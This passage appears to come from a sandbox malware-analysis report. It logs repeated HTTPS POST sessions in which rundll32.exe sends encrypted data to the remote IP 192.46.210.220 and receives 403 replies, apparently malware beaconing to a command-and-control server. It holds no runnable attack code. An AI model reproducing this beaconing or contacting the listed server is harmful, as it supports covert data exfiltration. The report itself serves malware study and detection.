2021-10-28 02:51:45 UTC	114	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:45 UTC	124	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49850	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:45 UTC	119	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:45 UTC	119	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:46 UTC	124	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49857	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:48 UTC	124	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:48 UTC	124	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:49 UTC	133	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49858	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:49 UTC	129	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:49 UTC	129	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:50 UTC	134	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49870	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:52 UTC	134	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:52 UTC	134	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:53 UTC	143	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49871	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:53 UTC	139	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:53 UTC	139	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:53 UTC	144	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49879	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:56 UTC	144	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:56 UTC	144	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:57 UTC	153	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49764	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:05 UTC	14	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:05 UTC	15	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:05 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49880	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:57 UTC	149	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:57 UTC	149	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:57 UTC	153	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49888	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:00 UTC	154	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:00 UTC	154	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:01 UTC	163	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49889	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:00 UTC	158	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:00 UTC	159	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:01 UTC	163	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49896	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:04 UTC	164	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:04 UTC	164	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:05 UTC	173	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49897	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:04 UTC	168	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:04 UTC	168	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:05 UTC	173	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49904	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:08 UTC	174	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:08 UTC	174	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:08 UTC	183	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49905	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:08 UTC	178	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:08 UTC	178	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 